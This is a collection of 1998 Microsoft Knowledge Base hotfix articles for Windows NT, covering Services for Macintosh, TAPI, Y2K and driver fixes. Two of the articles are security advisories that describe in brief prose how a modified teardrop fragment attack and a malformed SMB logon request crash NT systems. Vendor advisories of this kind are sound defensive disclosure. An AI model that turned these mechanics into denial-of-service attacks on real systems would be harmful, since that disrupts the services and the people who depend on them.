Windows NT Advanced Server version 3.1
and Windows NT Server versions 3.5, 3.51
----------------------------------------

Microsoft has confirmed this to be a problem in Windows NT Advanced Server
version 3.1 and Windows NT Server versions 3.5 and 3.51.

MORE INFORMATION
================

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: AppleTalk dance dancing jump jumping disappear
icon icons move moving mac sfm
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q179129
TITLE   :STOP 0x0000000A or 0x00000019 Due to Modified Teardrop Attack
PRODUCT :Microsoft Windows NT
PROD/VER:3.51 4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbbug3.51 kbfix4.00 kbfix3.51 kbfile NTSrvWkst nttcp

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation versions 3.51 and 4.0
 - Microsoft Windows NT Server versions 3.51 and 4.0
 - Microsoft Windows NT Server Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

Windows NT may stop responding (hang) with a STOP 0x0000000A or 0x00000019
message after receiving a number of deliberately corrupted UDP packets.

CAUSE
=====

This behavior occurs due to a variation of the "teardrop" attack. Windows
NT 4.0 with Service Pack 3 and the ICMP-fix is not susceptible to the
original form of the teardrop attack. For more information on the ICMP-fix,
please see the following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q154174
   TITLE     : Invalid ICMP Datagram Fragments Hang Windows NT, Windows 95

The modified teardrop attack works by sending pairs of deliberately
constructed IP fragments which are reassembled into an invalid UDP
datagram. Overlapping offsets cause the second packet to overwrite data in
the middle of the UDP header contained in the first packet in such a way
that the datagrams are left incomplete.

As Windows NT receives these invalid datagrams, it allocates kernel memory.
If enough of these invalid datagrams are received Windows NT may hang with
a STOP 0x0000000A or 0x00000019.

RESOLUTION
==========

Windows NT 4.0
--------------

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   01/09/98  08:16a               143,664 Tcpip.sys   (Intel)
   01/09/98  08:13a               263,536 Tcpip.sys   (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/teardrop2-fix/

NOTE: The above link is one path; it has been wrapped for readability.

NOTE: This fix supercedes the ICMP-fix, the OOB-fix, and the Land-fix
hotfixes.

Windows NT 3.51
---------------

To resolve this problem, obtain the following fix.

This fix should have the following time stamp:

   01/14/98  12:04p               123,824 Tcpip.sys   (Intel)
   01/14/98  12:00p               216,848 Tcpip.sys   (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT351/
   hotfixes-postSP5/teardrop2-fix/

NOTE: The above link is one path; it has been wrapped for readability.

NOTE: This fix supercedes the ICMP-fix, the OOB-fix, and the Land-fix
hotfixes.

STATUS
======

Windows NT 4.0
--------------

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Windows NT 3.51
---------------

Microsoft has confirmed this to be a problem in Windows NT version 3.51. A
supported fix is now available, but is not fully regression tested and
should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Product Support Services for more information.

Additional reference words: 4.00 3.51 spoof crash crashes

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q179187
TITLE   :Problems Using TAPI 2.1
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile kbbug kbpatch NTSrvWkst nttcp

---------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server Enterprise Edition version 4.0
---------------------------------------------------------------------

SYMPTOMS
========

You may experience one or more of the following problems while using TAPI
2.1:

 - The data an application provides for lineSetCallData is lost when Remote
   TSP is used.

 - TAPISRV becomes unresponsive and CPU utilization peaks at 100%.

 - TAPISRV cannot be started when RAS or another Windows NT Service starts
   TAPI.

 - TAPISRV causes an Access Violation error message when calling Agent
   functions such as lineAgentSpecific and lineGetAgentActivityList.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   01/05/98  06:09p               140,560 Tapisrv.exe (Intel)
   01/05/98  06:52p               220,944 Tapisrv.exe (Alpha)

NOTE: This hotfix requires TAPI 2.1. Applying this hotfix with a previous
version of TAPI may cause unpredictable behavior.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/tapi21-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

Windows NT 4.0 Service Pack 3 includes TAPI 2.0.

Additional query words: 4.00

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q180122
TITLE   :After Changing the Time, Windows NT May Skip a Day
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbbug4.00 kbfix4.00 kb2000
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

After performing the following steps, Windows NT may skip a day:

1. In Control Panel, double-click Date/Time.

2. Set the time to 11:59:55 PM.

3. Set the date to anything (for example, July 1, 1998).

4. Click Apply.

5. Perform the following three actions in 5 seconds:

   a. Set the year to 1999.

   b. Set the month to 7.

   c. Set the day to 1.

6. Set the clock to 11:59:55 PM and then click Apply. After 5 seconds, the
   clock advances to 7/3/1999 rather than 7/2/1999.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   02/09/98  02:27p                53,008 Timedate.cpl (Intel)
   02/09/98  02:24p                88,336 Timedate.cpl (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/y2k-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information on what is fixed in Y2K-fix, please see the following
articles in the Microsoft Knowledge Base:

   ARTICLE-ID: Q175093
   TITLE     : User Manager Does Not Recognize February 2000 As a Leap Year

   ARTICLE-ID: Q183123
   TITLE     : Find Files Displays Garbled Date if Year is 2000 or Greater

   ARTICLE-ID: Q180125
   TITLE     : Shell Doc Property Dialog Custom Date Incorrect After Year 2000

Additional query words: 4.00 y2k year 2000

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q180532
TITLE   :Xircom PC Card Fails to Function
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 NTSrv kb3rdparty

-----------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
-----------------------------------------------------------

SYMPTOMS
========

The Xircom CBE-10/100BTX PC Card may fail to function.

CAUSE
=====

The PC Card driver inadvertently resets the type field on the PC Card when
initialized.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT 4.0 service pack.

This fix should have the following time stamp:

   02/04/98  01:21p                40,688 Pcmcia.sys (Intel)
   02/04/98  01:17p                69,200 Pcmcia.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40
   /hotfixes-postSP3/pcm-fix

NOTE: The above link is one path; it has been wrapped for
readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q180622
TITLE   :STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in Sfmsrv.sys
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

A STOP: 0x0000001E error message may happen on a computer running both
Windows NT Server and Services for Macintosh with a Macintosh volume with
more than 800,000 files. The arguments passed to the STOP screen may look
like

   STOP: 0x0000001E (c000009a, 8010a77f, 0000298c, 80135f6c)

where c000009a is mapped to the status code of
STATUS_INSUFFICIENT_RESOURCES.

CAUSE
=====

The Windows NT kernel is running out of paged-pool memory. When Windows NT
starts up, it calculates the amount of paged-pool memory available to the
kernel based on the amount of physical RAM in the system. The maximum this
value can be is 192 MB. If the kernel allocates all of its allotted paged-
pool memory, it will not be able to perform many tasks and will instead
return a STATUS_INSUFFICIENT_RESOURCES (0xC000009A).

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: 4.00 sfm blue screen
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q180716
TITLE   :SFM Fails to Accept Associations with Two-Character Extensions
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

Windows NT Services for Macintosh (SFM) does not allow Creator and Type
associations for Macintosh users when files extensions have only two
characters.

CAUSE
=====

SFM does not recognize two-character/digit extensions for file association.

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: AppleTalk mac digit place holders
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q180717
TITLE   :SFM: File Date and Time Stamp Change with Get Info
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

The time and date stamp changes when a Macintosh client performs a Get Info
("Command+I") and selects the 'Locked' option for a file that resides on a
computer running Windows NT Server where Services for Macintosh (SFM) is
installed.

CAUSE
=====

Windows NT incorrectly considers this a file update. This is not the
default behavior for AppleShare servers.

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: mac
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q180718
TITLE   :SFM: Disconnect Macintosh Clients before Dismounting Volume
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

Dismounting a Macintosh volume while Macintosh clients are still connected
to that volume may result in a stop screen if the administrator immediately
attempts to disconnect those sessions through the Users option of the
Macfile application in Control Panel.

CAUSE
=====

When the remote client is in the process of disconnecting and the
administrator also starts disconnecting, there is an extremely small
timing window where this memory may get freed twice.

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q185722
   TITLE     : SFM Rebuilds Indexes upon Restarting of Windows NT

Additional query words: 4.00 AFP bluescreen blue stop bugcheck Mac mount
connect Appleshare attach
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q180963
TITLE   :Denial of Service Attack Causes Windows NT Systems to Reboot
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 NTSrv ntstop

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

During the processing of a Server Message Block (SMB) logon request, memory corruption occurs causing one of the following errors:

   STOP 0x0000000A
   STOP 0x00000050

The result is a system reboot or system hang.

Note: The Stop errors will vary from case to case.

CAUSE
=====

The size of data to follow is contained in the SMB logon request. When the size specified in the request does not match the size actually present, corruption occurs.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT 4.0 service pack.

This fix should have the following time stamp:

   01/07/98  07:59p               229,840 Srv.sys (Intel)

   01/07/98  07:56p               466,384 Srv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/srv-fix

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

